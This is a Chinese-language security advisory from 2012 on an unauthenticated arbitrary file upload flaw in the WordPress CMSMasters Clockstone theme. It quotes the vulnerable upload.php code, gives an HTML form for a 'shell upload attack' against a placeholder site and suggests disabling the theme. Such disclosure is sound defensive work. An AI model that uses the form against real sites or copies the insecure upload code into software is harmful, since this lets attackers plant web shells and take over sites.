WordPress 多个CMSMasters主题'upload.php'任意文件上传漏洞


发布日期:2012-12-19
更新日期:2012-12-20

受影响系统:
cmsmasters Clockstone
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 56988

Clockstone是Wordpress的终极主题,一个单一的主题内集合了众多功能。

WordPress的Clockstone主题和其他主题存在文件上传漏洞。存在该漏洞的原因是由于问题代码对已登录的用户没有进行身份验证操作。攻击者可通过上传任意文件到受害者站点,进而获取站点的访问权限。

主题内有漏洞的代码:

##############################################################
#  <?php
#
#  if ($_POST['url']){ $uploaddir = $_POST['url']; }
#
#  $first_filename = $_FILES['uploadfile']['name'];
#
#  $filename = md5($first_filename);
#
#  $ext = substr($first_filename, 1 + strrpos($first_filename, '.'));
#
#  $file = $uploaddir . basename($filename.'.'.$ext);
#
#  if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $file)){
#      echo basename($filename.'.'.$ext);
#  } else {
#      echo 'error';
#  }
#
#  ?>
##############################################################

<*来源:DigiP
 
  链接:http://www.exploit-db.com/exploits/23494/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##############################################################
#  Shell upload attack:<br />
#  <form enctype="multipart/form-data" action="http://www.examplesite.com/wp-content/themes/clockstone/theme/functions/upload.php" method="post">
#  <input type="text" name="url" value="./" /><br />
#  Please choose a file: <input name="uploadfile" type="file" /><br />
#  <input type="submit" value="Upload" />
#  </form>
##############################################################

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 禁用CMSMasters主题

厂商补丁:

cmsmasters
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://themeforest.net/item/clockstone-ultimate-wordpress-theme/306607

相关内容